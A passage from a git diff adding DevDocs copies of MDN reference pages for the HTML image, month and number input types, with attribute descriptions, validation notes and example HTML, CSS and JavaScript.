This attribute is also available on <input type="submit"> and <button> elements.

+
+

formenctype

+
+

A string that identifies the encoding method to use when submitting the form data to the server. There are three permitted values:

application/x-www-form-urlencoded

This, the default value, sends the form data as a string after URL encoding the text using an algorithm such as encodeURI().

multipart/form-data

Uses the FormData API to manage the data, allowing for files to be submitted to the server. You must use this encoding type if your form includes any <input> elements of type file (<input type="file">).

text/plain

Plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted.

If specified, the value of the formenctype attribute overrides the owning form's action attribute.

This attribute is also available on <input type="submit"> and <button> elements.

+
+

formmethod

+
+

A string indicating the HTTP method to use when submitting the form's data; this value overrides any method attribute given on the owning form. Permitted values are:

get

A URL is constructed by starting with the URL given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. This URL is then sent to the server using an HTTP get request. This method works well for simple forms that contain only ASCII characters and have no side effects. This is the default value.

post

The form's data is included in the body of the request that is sent to the URL given by the formaction or action attribute using an HTTP post request. This method supports complex data and file attachments.

dialog

This method is used to indicate that the button closes the dialog with which the input is associated, and does not transmit the form data at all.

This attribute is also available on <input type="submit"> and <button> elements.

+
+

formnovalidate

+
+

A Boolean attribute which, if present, specifies that the form should not be validated before submission to the server. This overrides the value of the novalidate attribute on the element's owning form.

This attribute is also available on <input type="submit"> and <button> elements.

+
+

formtarget

+
+

A string which specifies a name or keyword that indicates where to display the response received after submitting the form. The string must be the name of a browsing context (that is, a tab, window, or <iframe>. A value specified here overrides any target given by the target attribute on the <form> that owns this input.

In addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used:

_self

Loads the response into the same browsing context as the one that contains the form. This will replace the current document with the received data. This is the default value used if none is specified.

_blank

Loads the response into a new, unnamed, browsing context. This is typically a new tab in the same window as the current document, but may differ depending on the configuration of the user agent.

_parent

Loads the response into the parent browsing context of the current one. If there is no parent context, this behaves the same as _self.

_top

Loads the response into the top-level browsing context; this is the browsing context that is the topmost ancestor of the current context. If the current context is the topmost context, this behaves the same as _self.

This attribute is also available on <input type="submit"> and <button> elements.

+
+

height

+

A number specifying the height, in CSS pixels, at which to draw the image specified by the src attribute.

+

src

+

A string specifying the URL of the image file to display to represent the graphical submit button. When the user interacts with the image, the input is handled like any other button input.

+

width

+

A number indicating the width at which to draw the image, in CSS pixels.

+

Obsolete attributes

+

The following attribute was defined by HTML 4 for image inputs, but was not implemented by all browsers and has since been deprecated.

+

usemap

+

If usemap is specified, it must be the name of an image map element, <map>, that defines an image map to use with the image. This usage is obsolete; you should switch to using the <img> element when you want to use image maps.

+

Using image inputs

+

The <input type="image"> element is a replaced element (an element whose content isn't generated or directly managed by the CSS layer), behaving in much the same way as a regular <img> element, but with the capabilities of a submit button.

+

Essential image input features

+
+

Let's look at a basic example that includes all the essential features you'd need to use (These work exactly the same as they do on the <img> element.):

+

html

+
<input
+  id="image"
+  type="image"
+  width="100"
+  height="30"
+  alt="Login"
+  src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" />
+
+
+
+ + +
+
+

Overriding default form behaviors

+
+

<input type="image"> elements — like regular submit buttons — can accept a number of attributes that override the default form behavior:

formaction

The URI of a program that processes the information submitted by the input element; overrides the action attribute of the element's form owner.

formenctype

Specifies the type of content that is used to submit the form to the server. Possible values are:

  • +application/x-www-form-urlencoded: The default value if the attribute is not specified.
  • +text/plain.

If this attribute is specified, it overrides the enctype attribute of the element's form owner.

formmethod

Specifies the HTTP method that the browser uses to submit the form. Possible values are:

  • +post: The data from the form is included in the body of the form and is sent to the server.
  • +get: The data from the form is appended to the form attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side effects and contains only ASCII characters.

If specified, this attribute overrides the method attribute of the element's form owner.

formnovalidate

A Boolean attribute specifying that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the novalidate attribute of the element's form owner.

formtarget

A name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a browsing context (for example, tab, window, or inline frame). If this attribute is specified, it overrides the target attribute of the element's form owner. The following keywords have special meanings:

  • _self: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.
  • +_blank: Load the response into a new unnamed browsing context.
  • +_parent: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as _self.
  • +_top: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same as _self.
+
+

Using the x and y data points

+
+

When you submit a form using a button created with <input type="image">, two extra data points are submitted to the server automatically by the browser — x and y. You can see this in action in our X Y coordinates example.

When you click on the image to submit the form, you'll see the data appended to the URL as parameters, for example ?x=52&y=55. If the image input has a name attribute, then keep in mind that the specified name is prefixed on every attribute, so if the name is position, then the returned coordinates would be formatted in the URL as ?position.x=52&position.y=55. This, of course, applies to all other attributes as well.

These are the X and Y coordinates of the image that the mouse clicked on to submit the form, where (0,0) is the top-left of the image and the default in case submission happens without a click on the image. These can be used when the position the image was clicked on is significant, for example you might have a map that when clicked, sends the coordinates that were clicked to the server. The server-side code then works out what location was clicked on, and returns information about places nearby.

In our above example, we could write server-side code that works out what color was clicked on by the coordinates submitted, and keeps a tally of the favorite colors people voted for.

+
+

Adjusting the image's position and scaling algorithm

+

You can use the object-position property to adjust the positioning of the image within the <input> element's frame, and the object-fit property to control how the image's size is adjusted to fit within the frame. This allows you to specify a frame for the image using the width and height attributes to set aside space in the layout, then adjust where within that space the image is located and how (or if) it is scaled to occupy that space.

+

Examples

+ +

A login form

+
+

The following example shows the same button as before, but included in the context of a typical login form.

+
+ + +

HTML

+

html

+
<form>
+  <p>Login to your account</p>
+  <div>
+    <label for="userId">User ID</label>
+    <input type="text" id="userId" name="userId" />
+  </div>
+  <div>
+    <label for="pwd">Password</label>
+    <input type="password" id="pwd" name="pwd" />
+  </div>
+  <div>
+    <input
+      id="image"
+      type="image"
+      src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png"
+      alt="Login"
+      width="100" />
+  </div>
+</form>
+
+

CSS

And now some simple CSS to make the basic elements sit more neatly:

+

css

+
div {
+  margin-bottom: 10px;
+}
+
+label {
+  display: inline-block;
+  width: 70px;
+  text-align: right;
+  padding-right: 10px;
+}
+
+
+
+

Adjusting the image position and scaling

+
+

In this example, we adapt the previous example to set aside more space for the image and then adjust the actual image's size and positioning using object-fit and object-position.

+
+ + +

HTML

+

html

+
<form>
+  <p>Login to your account</p>
+  <div>
+    <label for="userId">User ID</label>
+    <input type="text" id="userId" name="userId" />
+  </div>
+  <div>
+    <label for="pwd">Password</label>
+    <input type="password" id="pwd" name="pwd" />
+  </div>
+  <div>
+    <input
+      id="image"
+      type="image"
+      src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png"
+      alt="Login"
+      width="200"
+      height="100" />
+  </div>
+</form>
+
+

CSS

+

css

+
div {
+  margin-bottom: 10px;
+}
+
+label {
+  display: inline-block;
+  width: 70px;
+  text-align: right;
+  padding-right: 10px;
+}
+
+#image {
+  object-position: right top;
+  object-fit: contain;
+  background-color: #ddd;
+}
+
+

Here, object-position is configured to draw the image in the top-right corner of the element, while object-fit is set to contain, which indicates that the image should be drawn at the largest size that will fit within the element's box without altering its aspect ratio. Note the visible grey background of the element still visible in the area not covered by the image.

+
+

Technical summary

+
Value None — the value attribute should not be specified.
Events None.
Supported common attributes alt, src, width, height, formaction, formenctype, formmethod, formnovalidate, formtarget
IDL attributes None.
DOM interface

HTMLInputElement
Methods None.
Implicit ARIA Role button
+

Specifications

+
+ + +
Specification
HTML Standard
# image-button-state-(type=image)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
image1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/image +

+
diff --git a/devdocs/html/element%2Finput%2Fmonth.html b/devdocs/html/element%2Finput%2Fmonth.html new file mode 100644 index 00000000..041f2b4a --- /dev/null +++ b/devdocs/html/element%2Finput%2Fmonth.html @@ -0,0 +1,347 @@ +

<input type="month">

<input> elements of type month create input fields that let the user enter a month and year allowing a month and year to be easily entered. The value is a string whose value is in the format "YYYY-MM", where YYYY is the four-digit year and MM is the month number.

+

Try it

+
+

The control's UI varies in general from browser to browser; at the moment support is patchy, with only Chrome/Opera and Edge on desktop — and most modern mobile browser versions — having usable implementations. In browsers that don't support month inputs, the control degrades gracefully to a simple <input type="text">, although there may be automatic validation of the entered text to ensure it's formatted as expected.

For those of you using a browser that doesn't support month, the screenshot below shows what it looks like in Chrome and Opera. Clicking the down arrow on the right-hand side brings up a date picker that lets you select the month and year.

Month control on Chrome browser

The Microsoft Edge month control looks like this:

Month control on Edge browser

+
+

Value

+

A string representing the value of the month and year entered into the input, in the form YYYY-MM (four or more digit year, then a hyphen ("-"), followed by the two-digit month). The format of the month string used by this input type is described in Month strings.

+

Setting a default value

+
+

You can set a default value for the input control by including a month and year inside the value attribute, like so:

+

html

+
<label for="bday-month">What month were you born in?</label>
+<input id="bday-month" type="month" name="bday-month" value="2001-06" />
+
+
+
+ + +

One thing to note is that the displayed date format differs from the actual value; most user agents display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date value is always formatted yyyy-MM.

When the above value is submitted to the server, for example, it will look like bday-month=1978-06.

+
+

Setting the value using JavaScript

+
+

You can also get and set the date value in JavaScript using the HTMLInputElement.value property, for example:

+

html

+
<label for="bday-month">What month were you born in?</label>
+<input id="bday-month" type="month" name="bday-month" />
+
+
+

js

+
const monthControl = document.querySelector('input[type="month"]');
+monthControl.value = "2001-06";
+
+
+
+ + +
+
+

Additional attributes

+

In addition to the attributes common to <input> elements, month inputs offer the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

max

+
+

The latest year and month, in the string format discussed in the Value section above, to accept. If the value entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid string in "yyyy-MM" format, then the element has no maximum value.

This value must specify a year-month pairing later than or equal to the one specified by the min attribute.

+
+

min

+
+

The earliest year and month to accept, in the same "yyyy-MM" format described above. If the value of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value.

This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the HTMLInputElement.value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

For month inputs, the value of step is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of step is 1 month.

+
+

Using month inputs

+
+

Date-related inputs (including month) sound convenient at first glance; they promise an easy UI for choosing dates, and they normalize the data format sent to the server, regardless of the user's locale. However, there are issues with <input type="month"> because at this time, many major browsers don't yet support it.

We'll look at basic and more complex uses of <input type="month">, then offer advice on mitigating the browser support issue in the section Handling browser support).

+
+

Basic uses of month

+
+

The simplest use of <input type="month"> involves a basic <input> and <label> element combination, as seen below:

+

html

+
<form>
+  <label for="bday-month">What month were you born in?</label>
+  <input id="bday-month" type="month" name="bday-month" />
+</form>
+
+
+
+ + +
+
+

Setting maximum and minimum dates

+
+

You can use the min and max attributes to restrict the range of dates that the user can choose. In the following example we specify a minimum month of 1900-01 and a maximum month of 2013-12:

+

html

+
<form>
+  <label for="bday-month">What month were you born in?</label>
+  <input
+    id="bday-month"
+    type="month"
+    name="bday-month"
+    min="1900-01"
+    max="2013-12" />
+</form>
+
+
+
+ + +

The result here is that:

+
+

Controlling input size

+

<input type="month"> doesn't support form sizing attributes such as size. You'll have to resort to CSS for sizing needs.

+

Validation

+
+

By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still submit the form with the month input empty, or enter an invalid date (e.g. the 32nd of April).

To help avoid this, you can use min and max to restrict the available dates (see Setting maximum and minimum dates), and in addition use the required attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.

Let's look at an example; here we've set minimum and maximum dates, and also made the field required:

+

html

+
<form>
+  <div>
+    <label for="month">
+      What month would you like to visit (June to Sept.)?
+    </label>
+    <input
+      id="month"
+      type="month"
+      name="month"
+      min="2022-06"
+      max="2022-09"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+

If you try to submit the form without both the month and year specified (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

+
+ + +

Here's a screenshot for those of you who aren't using a supporting browser:

Month required prompt on Chrome browser

Here's the CSS used in the above example. Here we make use of the :valid and :invalid CSS properties to style the input based on whether the current value is valid. We had to put the icons on a <span> next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+}
+
+

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

+
+

Handling browser support

+
+

As mentioned above, the major problem with using date inputs at the time of writing is that many major browsers don't yet implement them all; only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the month picker on Chrome for Android looks like this:

Month picker on Chrome for Android

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

The second problem is the more serious of the two. As mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. On the other hand, in its default configuration, a text input has no idea what format the date should be in, and this is an issue because of the number of different ways in which people write dates. For example:

One way around this is to put a pattern attribute on your month input. Even though the month input doesn't use it, if the browser falls back to treating it like a text input, the pattern will be used. For example, try viewing the following demo in a browser that doesn't support month inputs:

+

html

+
<form>
+  <div>
+    <label for="month">
+      What month would you like to visit (June to Sept.)?
+    </label>
+    <input
+      id="month"
+      type="month"
+      name="month"
+      min="2022-06"
+      max="2022-09"
+      required
+      pattern="[0-9]{4}-[0-9]{2}" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+
+
+ + +

If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern nnnn-nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates (such as 0000-42), or incorrectly formatted dates that follow the pattern.

There's also the problem that the user won't necessarily know which of the many date formats is expected. We have work left to do.

The best way to deal with dates in forms in a cross-browser way (until all major browsers have supported them for a while) is to get the user to enter the month and year in separate controls (<select> elements being popular; see below for an implementation), or use JavaScript libraries such as the jQuery date picker plugin.

+
+

Examples

+
+

In this example, we create two sets of UI elements, each designed to let the user select a month and year. The first is a native month input, and the other is a pair of <select> elements that allow choosing a month and year independently, for compatibility with browsers that don't yet support <input type="month">.

+
+ + +
+
+

HTML

+
+

The form that requests the month and year looks like this:

+

html

+
<form>
+  <div class="nativeDatePicker">
+    <label for="month-visit">What month would you like to visit us?</label>
+    <input type="month" id="month-visit" name="month-visit" />
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">What month would you like to visit us?</p>
+  <div class="fallbackDatePicker">
+    <div>
+      <span>
+        <label for="month">Month:</label>
+        <select id="month" name="month">
+          <option selected>January</option>
+          <option>February</option>
+          <option>March</option>
+          <option>April</option>
+          <option>May</option>
+          <option>June</option>
+          <option>July</option>
+          <option>August</option>
+          <option>September</option>
+          <option>October</option>
+          <option>November</option>
+          <option>December</option>
+        </select>
+      </span>
+      <span>
+        <label for="year">Year:</label>
+        <select id="year" name="year"></select>
+      </span>
+    </div>
+  </div>
+</form>
+
+

The <div> with the ID nativeDatePicker uses the month input type to request the month and year, while the <div> with the ID fallbackDatePicker instead uses a pair of <select> elements. The first requests the month, and the second the year.

The <select> for choosing the month is hardcoded with the names of the months, as they don't change (leaving localization out of things). The list of available year values is dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work).

+
+

JavaScript

+
+

The JavaScript code that handles selecting which approach to use and to set up the list of years to include in the non-native year <select> follows.

The part of the example that may be of most interest is the feature detection code. In order to detect whether the browser supports <input type="month">, we create a new <input> element, try setting its type to month, then immediately check what its type is set to. Browsers that don't support type month will return text, since that's What month falls back to when not supported. If <input type="month"> is not supported, we hide the native picker and show the fallback picker UI instead.

+

js

+
// Get UI elements
+const nativePicker = document.querySelector(".nativeDatePicker");
+const fallbackPicker = document.querySelector(".fallbackDatePicker");
+const fallbackLabel = document.querySelector(".fallbackLabel");
+
+const yearSelect = document.querySelector("#year");
+const monthSelect = document.querySelector("#month");
+
+// Hide fallback initially
+fallbackPicker.style.display = "none";
+fallbackLabel.style.display = "none";
+
+// Test whether a new date input falls back to a text input or not
+const test = document.createElement("input");
+
+try {
+  test.type = "month";
+} catch (e) {
+  console.log(e.description);
+}
+
+// If it does, run the code inside the if () {} block
+if (test.type === "text") {
+  // Hide the native picker and show the fallback
+  nativePicker.style.display = "none";
+  fallbackPicker.style.display = "block";
+  fallbackLabel.style.display = "block";
+
+  // Populate the years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateYears();
+}
+
+function populateYears() {
+  // Get the current year as a number
+  const date = new Date();
+  const year = date.getFullYear();
+
+  // Make this year, and the 100 years before it available in the year <select>
+  for (let i = 0; i <= 100; i++) {
+    const option = document.createElement("option");
+    option.textContent = year - i;
+    yearSelect.appendChild(option);
+  }
+}
+
+

Note: Remember that some years have 53 weeks in them (see Weeks per year)! You'll need to take this into consideration when developing production apps.

+
+

Technical summary

+
Value A string representing a month and year, or empty.
Events change and input
Supported common attributes autocomplete, list, readonly, and step.
IDL attributes value
DOM interface

HTMLInputElement
Methods select(), stepDown(), stepUp().
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# month-state-(type=month)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
month2012NoNo11
NoThe input type is recognized, but there is no month-specific control. See bug 200416.
4.4251814Yes1.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/month +

+
diff --git a/devdocs/html/element%2Finput%2Fnumber.html b/devdocs/html/element%2Finput%2Fnumber.html new file mode 100644 index 00000000..616338b8 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fnumber.html @@ -0,0 +1,374 @@ +

<input type="number">

+

<input> elements of type number are used to let the user enter a number. They include built-in validation to reject non-numerical entries.

The browser may opt to provide stepper arrows to let the user increase and decrease the value using their mouse or by tapping with a fingertip.

+
+

Try it

+
+

On browsers that don't support inputs of type number, a number input falls back to type text.

+
+

Value

+
+

A number representing the value of the number entered into the input. You can set a default value for the input by including a number inside the value attribute, like so:

+

html

+
<input id="number" type="number" value="42" />
+
+
+
+ + +
+
+

Additional attributes

+

In addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

max

+
+

The maximum value to accept for this input. If the value entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a number, then the element has no maximum value.

This value must be greater than or equal to the value of the min attribute.

+
+

min

+
+

The minimum value to accept for this input. If the value of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid number, the input has no minimum value.

This value must be less than or equal to the value of the max attribute.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

The default stepping value for number inputs is 1, allowing only integers to be entered—unless the stepping base is not an integer.

+
+

Using number inputs

+
+

The number input type should only be used for incremental numbers, especially when spinbutton incrementing and decrementing are helpful to user experience. The number input type is not appropriate for values that happen to only consist of numbers but aren't strictly speaking a number, such as postal codes in many countries or credit card numbers. For non-numeric inputs, consider using a different input type, such as <input type="tel"> or other <input> type with the inputmode attribute:

+

html

+
<input type="text" inputmode="numeric" pattern="\d*" />
+
+

<input type="number"> elements can help simplify your work when building the user interface and logic for entering numbers into a form. When you create a number input with the proper type value, number, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down.

Warning: Logically, you should not be able to enter characters inside a number input other than numbers. Some browsers allow invalid characters, others do not; see Firefox bug 1398528.

Note: A user can tinker with your HTML behind the scenes, so your site must not use simple client-side validation for any security purposes. You must verify on the server side any transaction in which the provided value may have security implications of any kind.

Mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value.

+
+

A simple number input

+
+

In its most basic form, a number input can be implemented like this:

+

html

+
<label for="ticketNum">Number of tickets you would like to buy:</label>
+<input id="ticketNum" type="number" name="ticketNum" value="0" />
+
+
+
+ + +

A number input is considered valid when empty and when a single number is entered, but is otherwise invalid. If the required attribute is used, the input is no longer considered valid when empty.

Note: Any number is an acceptable value, as long as it is a valid floating point number (that is, not NaN or Infinity).

+
+

Placeholders

+
+

Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value most commonly used to provide a hint as to the format the input should take value. It is displayed inside the edit box when the element's value is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.

Here, we have an number input with the placeholder "Multiple of 10". Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.

+

html

+
<input type="number" placeholder="Multiple of 10" />
+
+
+
+ + +
+
+

Controlling step size

+
+

By default, the up and down buttons provided for you to step the number up and down will step the value up and down by 1. You can change this by providing a step attribute, which takes as its value a number specifying the step amount. Our above example contains a placeholder saying that the value should be a multiple of 10, so it makes sense to add a step value of 10:

+

html

+
<input type="number" placeholder="multiple of 10" step="10" />
+
+
+
+ + +

In this example, you should find that the up and down step arrows will increase and decrease the value by 10 each time, not 1. You can still manually enter a number that's not a multiple of 10, but it will be considered invalid.

+
+

Specifying minimum and maximum values

+
+

You can use the min and max attributes to specify a minimum and maximum value that the field can have. For example, let's give our example a minimum of 0, and a maximum of 100:

+

html

+
<input type="number" placeholder="multiple of 10" step="10" min="0" max="100" />
+
+
+
+ + +

In this updated version, you should find that the up and down step buttons will not allow you to go below 0 or above 100. You can still manually enter a number outside these bounds, but it will be considered invalid.

+
+

Allowing decimal values

+
+

One issue with number inputs is that their step size is 1 by default. If you try to enter a number with a decimal (such as "1.0"), it will be considered invalid. If you want to enter a value that requires decimals, you'll need to reflect this in the step value (e.g. step="0.01" to allow decimals to two decimal places). Here's a simple example:

+

html

+
<input type="number" placeholder="1.0" step="0.01" min="0" max="10" />
+
+
+
+ + +

See that this example allows any value between 0.0 and 10.0, with decimals to two places. For example, "9.52" is valid, but "9.521" is not.

+
+

Controlling input size

+
+

<input> elements of type number don't support form sizing attributes such as size. You'll have to resort to CSS to change the size of these controls.

For example, to adjust the width of the input to be only as wide as is needed to enter a three-digit number, we can change our HTML to include an id and to shorten our placeholder since the field will be too narrow for the text we have been using so far:

+

html

+
<input
+  type="number"
+  placeholder="x10"
+  step="10"
+  min="0"
+  max="100"
+  id="number" />
+
+

Then we add some CSS to narrow the width of the element with the id selector #number:

+

css

+
#number {
+  width: 3em;
+}
+
+

The result looks like this:

+
+ + +
+
+

Offering suggested values

+
+

You can provide a list of default options from which the user can select by specifying the list attribute, which contains as its value the id of a <datalist>, which in turn contains one <option> element per suggested value. Each option's value is the corresponding suggested value for the number entry box.

+

html

+
<input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers" />
+<span class="validity"></span>
+
+<datalist id="defaultNumbers">
+  <option value="10045678"></option>
+  <option value="103421"></option>
+  <option value="11111111"></option>
+  <option value="12345678"></option>
+  <option value="12999922"></option>
+</datalist>
+
+
+
+ + +
+
+

Validation

+
+

We have already mentioned a number of validation features of number inputs, but let's review them now:

The following example exhibits all of the above features, as well as using some CSS to display valid and invalid icons, depending on the input's value:

+

html

+
<form>
+  <div>
+    <label for="balloons">Number of balloons to order (multiples of 10):</label>
+    <input
+      id="balloons"
+      type="number"
+      name="balloons"
+      step="10"
+      min="0"
+      max="100"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" />
+  </div>
+</form>
+
+
+
+ + +

Try submitting the form with different invalid values entered — e.g., no value; a value below 0 or above 100; a value that is not a multiple of 10; or a non-numerical value — and see how the error messages the browser gives you differ with different ones.

The CSS applied to this example is as follows:

+

css

+
div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span::after {
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  content: "✓";
+  padding-left: 5px;
+}
+
+

Here we use the :invalid and :valid pseudo classes to display an appropriate invalid or valid icon as generated content on the adjacent <span> element, as a visual indicator of validity.

We put it on a separate <span> element for added flexibility. Some browsers don't display generated content very effectively on some types of form inputs. (Read, for example, the section on <input type="date"> validation.)

Warning: HTML form validation is not a substitute for server-side scripts that ensure that the entered data is in the proper format!

It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML and submit the data directly to your server.

If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth).

+
+

Pattern validation

+
+

<input type="number"> elements do not support use of the pattern attribute for making entered values conform to a specific regex pattern.

The rationale for this is that number inputs won't be valid if they contain anything except numbers, and you can constrain the minimum and maximum number of valid digits using the min and max attributes (as explained above).

+
+

Examples

+
+

We've already covered the fact that by default, the increment is 1, and you can use the step attribute to allow decimal inputs. Let's take a closer look.

In the following example is a form for entering the user's height. It defaults to accepting a height in meters, but you can click the relevant button to change the form to accept feet and inches instead. The input for the height in meters accepts decimals to two places.

+
+ + +

The HTML looks like this:

+

html

+
<form>
+  <div class="metersInputGroup">
+    <label for="meters">Enter your height — meters:</label>
+    <input
+      id="meters"
+      type="number"
+      name="meters"
+      step="0.01"
+      min="0"
+      placeholder="e.g. 1.78"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div class="feetInputGroup" style="display: none;">
+    <span>Enter your height — </span>
+    <label for="feet">feet:</label>
+    <input id="feet" type="number" name="feet" min="0" step="1" />
+    <span class="validity"></span>
+    <label for="inches">inches:</label>
+    <input id="inches" type="number" name="inches" min="0" max="11" step="1" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input
+      type="button"
+      class="meters"
+      value="Enter height in feet and inches" />
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+

You'll see that we are using many of the attributes we've already looked at in the article earlier on. Since we want to accept a meter value in centimeters, we've set the step value to 0.01, so that values like 1.78 are not seen as invalid. We've also provided a placeholder for that input.

We've hidden the feet and inches inputs initially using style="display: none;", so that meters is the default entry type.

Now, onto the CSS. This looks very similar to the validation styling we saw before; nothing remarkable here.

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+}
+
+

And finally, the JavaScript:

+

js

+
const metersInputGroup = document.querySelector(".metersInputGroup");
